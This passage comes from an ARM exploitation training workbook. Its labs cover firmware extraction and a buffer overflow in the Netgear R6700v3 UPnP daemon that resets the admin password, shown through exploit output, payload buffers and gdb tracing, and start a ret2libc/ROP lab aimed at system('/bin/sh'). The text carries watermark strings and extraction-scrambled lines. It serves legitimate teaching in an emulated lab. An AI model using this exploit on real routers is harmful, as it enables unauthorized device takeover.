09b91222e5d2d3d668cf8e52ec5d35ba
avahi-publish
avahi-publish-address
avahi-publish-service
clear
crontab
cut
forked-daapd lsof
free
head
md5sum
mkfifo
tail
taskset
telnet
xargs
yes

avahi-resolve dbus-daemon hostid mpstat tftp


avahi-resolve-address dirname id nslookup top
avahi-resolve-host-name du KC_BONJOUR passwd tr
avahi-set-host-name env KC_PRINT printf uptime

micede1865@wii999_com
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ file usr/bin/taskset
usr/bin/taskset: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked,
interpreter /lib/ld-uClibc.so.0, stripped

We also see that many of these files are symbolic links to busybox.

nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ ls -l usr/bin
total 968 24356915
-rwxr-xr-x 1 nemo nemo 22987 Oct 18 2019 avahi-browse
lrwxrwxrwx 1 nemo nemo 12 Oct 18 2019 avahi-browse-domains -> avahi-browse
-rwxr-xr-x 1 nemo nemo 16028 Oct 18 2019 avahi-publish
lrwxrwxrwx 1 nemo nemo 13 Oct 18 2019 avahi-publish-address -> avahi-publish
lrwxrwxrwx 1 nemo nemo 13 Oct 18 2019 avahi-publish-service -> avahi-publish
-rwxr-xr-x 1 nemo nemo 13495 Oct 18 2019 avahi-resolve
lrwxrwxrwx 1 nemo nemo
lrwxrwxrwx 1 nemo nemo Paul Erwin
13 Oct 18 2019 avahi-resolve-address -> avahi-resolve
13 Oct 18 2019 avahi-resolve-host-name -> avahi-resolve
-rwxr-xr-x 1 nemo nemo 11130 Oct 18 2019 avahi-set-host-name
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 awk -> ../../bin/busybox
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 basename -> ../../bin/busybox
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 clear -> ../../bin/busybox
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 crontab -> ../../bin/busybox
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 cut -> ../../bin/busybox

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Busybox is a way to provide the functionality of various linux executables in a single file. It is commonly used on
embedded systems.

 Note

More information on busybox can be found at https://busybox.net/

live
Being able to extract and access these files gives researchers the opportunity to analyze them in static analysis tools like
IDA Pro, Ghidra, Radare2, etc.

© Hungry Hackers, LLC 97


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Emulating binaries with qemu-arm

In addition, we can emulate these binaries using tools like qemu-arm. Let's try running one of the binaries that is not a

09b91222e5d2d3d668cf8e52ec5d35ba
symbolic link to busybox, curl.

nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ qemu-arm sbin/curl
/lib/ld-uClibc.so.0: No such file or directory

Since this is a dynamic file and not a static, standalone binary, we need to tell qemu-arm where to look for the libraries

micede1865@wii999_com
(shared objects) that curl needs. We can provide this information with the "-L" parameter.

nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ qemu-arm -L . sbin/curl
curl: try 'curl --help' for more information

That looks different. We provided "-L ." which tells qemu-arm to provide the current directory (.) for the curl binary to

24356915
search for the libraries it needs. We get an error message, but that is because we haven't provided any input to curl. But
this shows us the ARM file that we extracted off the router, is in fact running.

We can try again, this time providing the full path name for -L and also changing the curl parameters to "--help" so that we
can see some more output.

nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-

squashfs-root/ sbin/curl --help


Usage: curl [options...] <url>
Paul Erwin
root$ qemu-arm -L /home/nemo/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/

Options: (H) means HTTP/HTTPS only, (F) means FTP only


--anyauth Pick "any" authentication method (H)
-a, --append Append to target file when uploading (F/SFTP)
--basic Use HTTP Basic Authentication (H)
--cacert FILE CA certificate to verify peer against (SSL)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
--capath DIR CA directory to verify peer against (SSL)
-E, --cert CERT[:PASSWD] Client certificate file and password (SSL)
--cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL)
--ciphers LIST SSL ciphers to use (SSL)
--compressed Request compressed response (using deflate or gzip)
-K, --config FILE Specify which config file to read
--connect-timeout SECONDS Maximum time allowed for connection
-C, --continue-at OFFSET Resumed transfer offset
-b, --cookie STRING/FILE String or file to read cookies from (H)
...
live
Running individual binaries may be useful, but we can also use the whole squashfs-root filesystem to emulate the full
operating system environment.

98 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Try it.

The dlink root file system can be extracted using the same technique. Try this on your own.

09b91222e5d2d3d668cf8e52ec5d35ba
Summary

In this lab we used binwalk to extract the contents of a router update file. Binwalk makes things easy for looking for and
parsing out common file structures. By using this tool, we can see the actual files that get loaded onto the router. With
these files, we can analyze them statically, dynamically run them, or even fuzz them.

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© Hungry Hackers, LLC 99


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 8: Netgear Exploit

09b91222e5d2d3d668cf8e52ec5d35ba
Background

In June 2020, Pedro Ribeiro and Radek Domanski disclosed a remote buffer overflow that could be used to issue a
password reset on Netgear R6700 routers. Prior to its public disclosure, the vulnerability was demonstrated at the
Pwn2Own Mobile competition in November 2019. The vulnerability affects the Universal Plug and Play daemon which
listens by default on port 5000 for these devices.

micede1865@wii999_com
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-Execution.html

Objectives

This lab covers:

• Starting up an emulated router 24356915


• Launching an exploit against an emulated ARM target

• (Optional) Debugging the ARM target, observing a crash and walking through a redirection payload

Lab Preparation

 Note
Paul Erwin
This lab will be done in the dogfish vm.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Accessing the dogfish vm

• Login to the hammerhead virtual machine using the credentials below.

• User: nemo

• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
live
• While in the terminator window console, navigate to the ~/qemu/dogfish folder.

• Use the command sudo start_dogfish.sh to start the dogfish virtual machine.

• When prompted, use the password: nemo

100 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~$ cd qemu/dogfish

nemo@hammerhead:~/qemu/dogfish$ sudo ./start_dogfish.sh


[sudo] password for nemo:

09b91222e5d2d3d668cf8e52ec5d35ba
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK
micede1865@wii999_com
] Finished Availability of block devices.

Ubuntu 20.04.2 LTS dogfish ttyAMA0

dogfish login:

• The best way to connect to the dogfish vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
24356915
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the dogfish vm.

• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/dogfish$ ssh dogfish


nemo@192.168.2.20's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@dogfish:~$
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Starting up the emulated netgear router

Before running the launch_netgear.sh script, view this script with the cat command.

nemo@dogfish:~$ cat launch_netgear.sh


#!/bin/bash

mkdir ~/netgear_rootfs/mnt/tools 2>/dev/null


live
sudo mount -o nolock -t nfs 192.168.2.1:/home/nemo/qemu/dogfish/routers/tools ~/netgear_rootfs/mnt/
tools

# Start the netgear router services


sudo chroot ~/netgear_rootfs /mnt/tools/netgear_boot.sh

© Hungry Hackers, LLC 101


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


# Just launch a shell
#sudo chroot ~/netgear_rootfs /bin/sh

09b91222e5d2d3d668cf8e52ec5d35ba
 Note

If at some point, you would like to bypass the netgear initialization scripts and just get a shell prompt in the netgear environment, do
the following:

• insert a (#) at the beginning of the line to comment out sudo chroot ~/netgear_rootfs /mnt/tools/netgear_boot.sh

• remove the comment (#) marker in front of: sudo chroot ~/netgear_rootfs /bin/sh

micede1865@wii999_com
Save the file and run the script.

This will not provide you access to the netgear web services.

The netgear_rootfs folder is the netgear file system that has been extracted from a netgear firmware update. This
extracted filesystem has not been modified except for the tools subfolder that we create in netgear_rootfs/mnt .

24356915
The launch_netgear.sh script will do the following automatically:

• Create a folder called tools in netgear_rootfs/mnt. We need this folder to exist so we can mount here.

• Mount an nfs share to the folder we just created. This share comes from the hammerhead vm.

• Chroot into the netgear_rootfs folder and run the netgear_boot.sh script. This changes our root directory into the
netgear filesystem and runs a script to initialize the netgear router.
Paul Erwin
Start the launch_netgear.sh script and enter nemo for the password when prompted. You should see the nvram scroll
across the screen and a you should see a busybox prompt as shown below.

nemo@dogfish:~$ ./launch_netgear.sh
[sudo] password for nemo:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...

BusyBox v1.7.2 (2019-10-19 12:12:12 CST) built-in shell (ash)


Enter 'help' for a list of built-in commands.

You will also see log messages kick off in the other window that was used to startup the dogfish vm. These messages are

live
from the netgear device booting up. This screen will continue to display messages throughout the duration of the lab.

 Note

Since we did not emulate every single piece of hardware (ie wireless adapters), there will be lots and lots of errors.

102 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The nvram_netgear.ini le holds the con guration settings for the emulated router. We can use the grep command to look

fi
fi
for settings that may be interesting.

09b91222e5d2d3d668cf8e52ec5d35ba
# grep "192.168.2" /mnt/tools/nvram_netgear.ini
bs_trustedip=192.168.2.0
bs_trustedip_temp=192.168.2.0
lan1_ipaddr=192.168.2.254
dhcp_start=192.168.2.200
dhcp_end=192.168.2.254
openvpn_tun_ipaddr=192.168.254.1
tftp_serv_ipaddr=192.168.2.1
lan1_gateway=192.168.2.254

micede1865@wii999_com
lan_ipaddr=192.168.2.21
dmz_ipaddr=192.168.2.0
cur_access_user_ip=192.168.2.21

The ip address for the router's web interface is 192.168.2.21. After the boot process runs for a while, we can open up
refox in our hammerhead vm and browse to this webpage. If we have successfully started up the emulated router, we
fi
should see a login prompt.

24356915

Paul Erwin
The default password is "password". We can verify that this password DOES NOT WORK and has been changed by trying
to log in with the username "admin" and the password "password".

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The login password for the web interface is also stored in the nvram_netgear.ini le. The password has been set to "test".
fi
# grep "http_passwd" /mnt/tools/nvram_netgear.ini
http_passwd=test

Running the exploit


live
 Note

Throw the exploit from the hammerhead virtual machine.

© Hungry Hackers, LLC 103


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Split your Terminator (ctl-shift-o) window or create a new tab (ctl-shift-t) to get a new console where we can run the
exploit. We will be doing this from the hammerhead virtual machine and do not need to ssh to dogfish. Change to the ~/
labs/netgear folder in hammerhead and run the exploit.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/qemu/dogfish$ cd ~/labs/netgear/

nemo@hammerhead:~/labs/netgear$ python exploit.py


POST soap/server_sa HTTP/1.1
Host: 192.168.2.21
Content-Length: 1337
Content-Type: application/x-www-form-urlencoded

micede1865@wii999_com
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>SetDeviceNameIconByMAC
<NewBlockSiteName>1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
24356915
Length: 1337

 Note

Paul Erwin
The printable output of the exploit does not properly show our destination address at the very end of the A's. It only shows an X
following the large buffer. This is because some of the bytes we send are not printable ASCII characters.

This exploit should reset the password to the default value of "password".

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
 Exploit verification

To verify this worked, browse to the netgear webpage again (logout if needed) and try to log in with "admin/password". If you can
login with these credentials, the exploit was successful!

(Optional) Debugging
live
You will get an error if you try to run gdb inside the netgear chroot environment.

BusyBox v1.7.2 (2019-10-19 12:12:12 CST) built-in shell (ash)


Enter 'help' for a list of built-in commands.

# ps | grep upnpd

104 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


3421 admin 5400 S upnpd
5091 admin 3028 S grep upnpd
# gdb --pid 3421
/bin/sh: gdb: not found

09b91222e5d2d3d668cf8e52ec5d35ba
Instead, try running gdb from within the dogfish vm. You may need to create a new ssh session to dogfish in a new
window or tab.

nemo@hammerhead:~$ ssh dogfish


nemo@dogfish's password:
Last login: Mon Apr 5 21:04:38 2021 from 192.168.2.16

micede1865@wii999_com
nemo@R6700v3:~$

 Warning

Here you may see the host name has been changed to R6700v3. You are still in the dogfish vm. This change is not persistent and
we can ignore this for now.

24356915
From our ssh session in the dogfish vm, we can see processes that were started in the netgear chroot environment. The
process that the exploit targets is the upnpd daemon.

 Warning

The exploit in this lab will crash the upnpd process and make it unavailable for exploitation until that service is restarted.

Paul Erwin
To restart the upnpd daemon, run the following command /usr/sbin/upnpd & from within the chroot shell.

**THIS IS FROM THE NETGEAR CHROOT SHELL**

# /usr/sbin/upnpd &
# open: No such file or directory

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
open: No such file or directory
open: No such file or directory

You will get a few errors due to the fact that we do not have all of the hardware components present in our emulated
environment.

 Note
live
You will need to hit the enter key a few times to get a shell prompt after starting the upnpd service this way. This is due to the error
messages that are displayed.

© Hungry Hackers, LLC 105


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Now, switch back to your dogfish ssh session. Don't be confused by the fact that it may be showing R6700v3 as the
hostname. From within this ssh session, we should be able to see the upnpd process running in the chroot environment.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@R6700v3:~$ ps -u root | grep upnpd
3421 ? 00:00:00 upnpd

 Note

The process id returned by this command is 3421. Your results will likely be different.

micede1865@wii999_com
Let's connect to that process using gdb. You will need to use sudo with this command along with the process id returned
from the ps command.

nemo@R6700v3:~$ sudo gdb --pid 3421


[sudo] password for nemo:
...
Attaching to process 3421

24356915
Reading symbols from /home/nemo/netgear_rootfs/usr/sbin/upnpd...
(No debugging symbols found in /home/nemo/netgear_rootfs/usr/sbin/upnpd)
...
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xb6ce44c8 in ?? ()
...
(gdb)

Continue running the process using the "c" command.


Paul Erwin
(gdb) c
Continuing.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Observe a crash in gdb

Let's see if we can observe a crash in the target process. With gdb still attached and the upnpd process running, create a
new window or switch back to an existing console window for the hammerhead vm.

In the hammerhead vm, change into the ~/labs/netgear folder.

nemo@hammerhead:~$ cd labs/netgear
nemo@hammerhead:~/labs/netgear$ ls
live
crash.py exploit.py

View the crash.py script using cat crash.py . It is similar to the exploit script, except that it will overwrite the stored lr
with 0x42424242 instead of jumping to the reset password function. Let's look at the buffer in crash.py.

106 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/labs/netgear$ cat crash.py | grep ^buffer
buffer = "1" + "A"*1048 + "\x42\x42\x42\x42"

Try throwing the crash.py exploit, while debugging upnpd with gdb, you should see a crash at address 0x42424242.
09b91222e5d2d3d668cf8e52ec5d35ba
In the hammerhead vm

nemo@hammerhead:~/labs/netgear$ python crash.py


POST soap/server_sa HTTP/1.1
Host: 192.168.2.21
Content-Length: 1338
Content-Type: application/x-www-form-urlencoded

micede1865@wii999_com
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>SetDeviceNameIconByMAC

</NewBlockSiteName>
</SOAP-ENV:Body>
24356915
<NewBlockSiteName>1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

</SOAP-ENV:Envelope>

Length: 1338

In the dogfish vm

Paul Erwin
In the dogfish vm, we should still be attached to the upnpd process prior to launching the crash.py script, and it should be
"Continuing" execution in gdb prior to the Segmentation fault.

(gdb) c
Continuing.

[Detaching after vfork from child process 16305]

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.


The program no longer exists.
(gdb)
live
We successfully crashed the program and overwrote the saved lr with 0x42424242. Now, lets try to observe the password
reset.

© Hungry Hackers, LLC 107


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Follow execution to the target function

Restart the upnpd process if needed.

09b91222e5d2d3d668cf8e52ec5d35ba
Do this in the netgear chroot shell

# ps | grep upnp
20371 admin 3040 S grep upnp

# /usr/sbin/upnpd &
# open: No such file or directory

micede1865@wii999_com
open: No such file or directory
open: No such file or directory

[1] + Done /usr/sbin/upnpd

# ps | grep upnp
20546 admin 5400 S /usr/sbin/upnpd
20629 admin 3040 S grep upnp

24356915
We see the new upnpd process id as 20546. Your results will vary.

 Note

If at any point you accidently exit out of gdb, you can repeat these steps to restart the upnpd process (if needed), identify the upnpd
process id, and reattach using gdb.

In the dogfish vm
Paul Erwin
In the dogfish vm, connect to this process with gdb. Don't forget sudo.

nemo@R6700v3:~$ sudo gdb --pid 20546


[sudo] password for nemo:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...
Attaching to process 20546
Reading symbols from /home/nemo/netgear_rootfs/usr/sbin/upnpd...
(No debugging symbols found in /home/nemo/netgear_rootfs/usr/sbin/upnpd)
...
0xb6ce44c8 in ?? ()
(gdb)

live
Switch to the hammerhead vm to view the target address that we want to jump to

In our exploit.py payload, we jump to the address \x58\x9a\x03. A \x00 gets appended to this and since it is little endian,
the byte order is reversed. This means that when we overwrite the saved lr, we will jump to 0x00039a58.

nemo@hammerhead:~/labs/netgear$ cat exploit.py | grep ^buffer


buffer = "1" + "A"*1048 + "\x58\x9a\x03"

108 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


By grepping for the buffer in the exploit.py payload, we see the line where it gets created. Notice that all of the address is
there and in reverse order except for the \x00 that gets added to the end. This gets appended automatically, and we don't
need to include the null byte at the end.

09b91222e5d2d3d668cf8e52ec5d35ba
Switch back to the dogfish vm that is debugging upnpd

While still connected with gdb, let's look at what instructions are at our target address that we want to jump to.

(gdb) x/10i 0x00039a58


0x39a58: ldr r0, [pc, #-856] ; 0x39708
0x39a5c: ldr r1, [pc, #-856] ; 0x3970c

... micede1865@wii999_com
0x39a60: bl 0xaf00 <acosNvramConfig_set@plt>

Here we see a value loaded into r0 and another value loaded into r1. After this, there is a function call to
acosNvramConfig_set@plt.

This function likely changes nvram configuration settings. In fact, it should be resetting the password for the web
interface.
24356915
We know from early on in this class that parameters are passed in registers r0-r3. It looks like this function has 2
parameters, since we see a ldr instruction for r0 and r1.

Let's set a breakpoint right before the call to acosNvramConfig_set to verify what this section of code is doing.

(gdb) b * 0x39a60
Breakpoint 1 at 0x39a60
(gdb) c
Paul Erwin
Continuing.

After you set a breakpoint, continue the process with "c".

This is in hammerhead

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Next, in the hammerhead vm, throw exploit.py.

nemo@hammerhead:~/labs/netgear$ ls
crash.py exploit.py

nemo@hammerhead:~/labs/netgear$ python exploit.py


...

This is in the dogfish vm live


In gdb, we should hit our breakpoint at the bl instruction.

(gdb) c
Continuing.
[Detaching after vfork from child process 5386]

© Hungry Hackers, LLC 109


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Breakpoint 1, 0x00039a60 in ?? ()
(gdb) x/5i $pc
=> 0x39a60: bl 0xaf00 <acosNvramConfig_set@plt>

09b91222e5d2d3d668cf8e52ec5d35ba
0x39a64: ldr r4, [pc, #-352] ; 0x3990c
0x39a68: mov r1, #0
0x39a6c: mov r2, #2048 ; 0x800
0x39a70: mov r0, r4

Hmm, so we should see the arguments in registers r0 and r1.

(gdb) x/s $r0


0x3d854:
micede1865@wii999_com
"http_passwd"
(gdb) x/s $r1
0x3f44c: "password"

This function is going to set the http_passwd nvram setting to "password", which is the default password. If hit c to
continue in gdb, our exploit will be completed successfully!

Summary 24356915
In this lab, we demonstrated how we can emulate a netgear router in a chroot environment. We ran an exploit against the
vulnerable upnpd process and redirected execution to reset the default password. In an optional portion of the exercise,
we opened the target process in a debugger and observed a controlled crash. We then reset the upnpd service and
stepped through the password reset code that the original exploit redirects to.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

110 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 9: ROP

09b91222e5d2d3d668cf8e52ec5d35ba
Background

We don't always have the luxury of delivering shellcode and being able to jump directly to it. Today, devices are
implementing security controls that prevent user-supplied data from being executable.

Rop has proven itself over the years to be an effective workaround. By stringing together smaller bits of code (gadgets)

micede1865@wii999_com
into a rop chain, we can sometimes find creative ways to bypass memory protections and get us the access we need.

Objectives

• Finding rop gadgets to accomplish our goal

• Locating addtional memory addresses required to accomplish our goal

24356915
• Adjusting stack alignment for our gadget

Lab Preparation

 Note

This lab will be done in the mako vm. Paul Erwin


Accessing the mako vm

• Login to the hammerhead virtual machine using the credentials below.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo

• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

• While in the terminator window console, navigate to the ~/qemu/mako folder.

live
• Use the command sudo start_mako.sh to start the mako virtual machine.

• When prompted, use the password: nemo

nemo@hammerhead:~$ cd qemu/mako

© Hungry Hackers, LLC 111


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh
[sudo] password for nemo:

• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux

09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.

micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0

mako login:

• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the mako vm.


24356915
• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/mako$ ssh mako


nemo@192.168.2.10's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@mako:~$

Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

Reviewing the vulnerable function

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Change into the ~/labs/rop folder in the mako vm. The check_input function in src/rop_target.c is vulnerable to a
stack-based buffer overflow.

int check_input(char *input) {

char buf[64];
strcpy(buf, input);

if (strstr(buf, "-a"))
return 1;
live
else
return 0;
}

If the user supplied input is more than 64 bytes, the strcpy function will overflow the buf char array.

112 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

The \x00 is a bad character in this lab.

09b91222e5d2d3d668cf8e52ec5d35ba
We've seen similar issues in previous labs, but in this example, the rop_target ELF file was not compiled with -z
execstack . Therefore, we cannot deliver our shellcode and execute it directly on the stack. Having a non-executable stack
is a good security practice and the default setting for most compilers.

Let's start by overflowing the buffer and trying to overwrite the stored link register (lr) to gain control of execution.

micede1865@wii999_com
Start up rop_target in gdb.

nemo@mako:~/labs/rop$ gdb ./rop_target

 Important - Read this.

24356915
There is an issue when debugging dynamically linked binaries in the qemu environment. After starting the binary using the run
command, you may need to hit ctl-c and the c for the program to continue. If the program does not seem responsive, give this a
try.

 Try it.

Paul Erwin
We've done this a few times before. Without looking ahead, try to determine how many bytes you need to overflow buf[] and gain
control of execution.

(gdb) run $(python2 -c 'print("A"*68+"BBBB")')


Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print("A"*68+"BBBB")')
^C
Program received signal SIGINT, Interrupt.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xb6fd81e4 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.


0x42424242 in ?? ()

live

© Hungry Hackers, LLC 113


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Ret2libc

To capitalize on this buffer overflow and further our access, we will be using a popular exploitation technique called return

09b91222e5d2d3d668cf8e52ec5d35ba
to libc or "ret2libc". Libc is the standard C library and holds many common functions shared by most of the executable
files on the system. Essentially, we will be using some of the functionality already available to the process in the libc
shared object. In this lab, we will attempt to execute the system function in libc to create a child process and give us a
shell.

 Note

micede1865@wii999_com
For more information on system, run man system from the command line.

Rop

In class, we talked about how rop works in theory, but now let's take a look at a concrete example. By overwriting the stack

24356915
pointer, we gain control of execution. That's the first step. But where can we go from here?

Setting a goal

With rop, it is important to set a goal and determine what we want to accomplish. In this case, we would like to ret2libc
and execute the following function call.

system("/bin/sh") Paul Erwin


If we can gain control of execution, and execute the call above, we will get a shell. So, executing this function call is our
goal.

In a previous lab, we went over how arguments are passed to functions in ARM. The system call we are looking to execute

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
only requires one argument, a string for the shell command we want to execute. Since we know that r0 holds the first
parameter, we will need to somehow get it to point to the string "/bin/sh".

 Rop Objectives

• Get r0 to point to "/bin/sh"

• Call the system function


live

114 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Rop gadgets

Rop gadgets are small snippets of code that perform some basic functionality and then return. Hence, the name "return

09b91222e5d2d3d668cf8e52ec5d35ba
oriented programming". When multiple rop gadgets are chained together, they can be executed sequentially to accomplish
more complex functionality.

 Note

For this lab, we have a very simple scenario. We need to get a value into r0 and then we need to call system.

micede1865@wii999_com
In ARM, most of the returns are done via a pop instruction that pops the saved lr register into pc. This returns execution
to the address in the calling function that followed the branch. There are other types of returns such as branching to lr, but
let's start by looking at pop.

Let's look for all of the pop instructions in our rop_target binary. To do this, we will use objdump -d (disassemble) and
grep for pop.

nemo@mako:~/labs/rop$ objdump -d
24356915
rop_target | grep pop
9b00008: bc02 pop {r1}
9b000f6: bd08 pop {r3, pc}
9b00146: bd80 pop {r7, pc}
9b00160: bd80 pop {r7, pc}
9b001da: bd80 pop {r7, pc}
470: e8bd8008
9b002ec: e8bd8008
pop {r3, pc}
pop {r3,
Paul Erwin
pc}

Hmm. This doesn't give us a lot of options. We have some pop instructions, but not much. We might be able to make
something happen here, but let's see if we can find some more pop instructions to work with.

If we look at the rop_target binary, we see that it is dynamically linked. This means that other shared objects will be loaded

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
at runtime and their functionality will also be available within the same process memory space. This is what makes
ret2libc possible.

nemo@mako:~/labs/rop$ file rop_target


rop_target: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux-armhf.so.3, BuildID[sha1]=bbf6e6978c63a12c0d6f18a441b0807268d7ed20, for GNU/
Linux 3.2.0, not stripped

live
Let's get a list of the other shared objects we have to work with. The ldd command shows the dependencies of an ELF
file.

nemo@mako:~/labs/rop$ ldd rop_target


linux-vdso.so.1 (0xbe898000)
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xad35c000)
/lib/ld-linux-armhf.so.3 (0xb6f6c000)

© Hungry Hackers, LLC 115


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/rop$ ls -l /lib/arm-linux-gnueabihf/libc.so.6
lrwxrwxrwx 1 root root 12 Dec 16 06:04 /lib/arm-linux-gnueabihf/libc.so.6 -> libc-2.31.so

09b91222e5d2d3d668cf8e52ec5d35ba
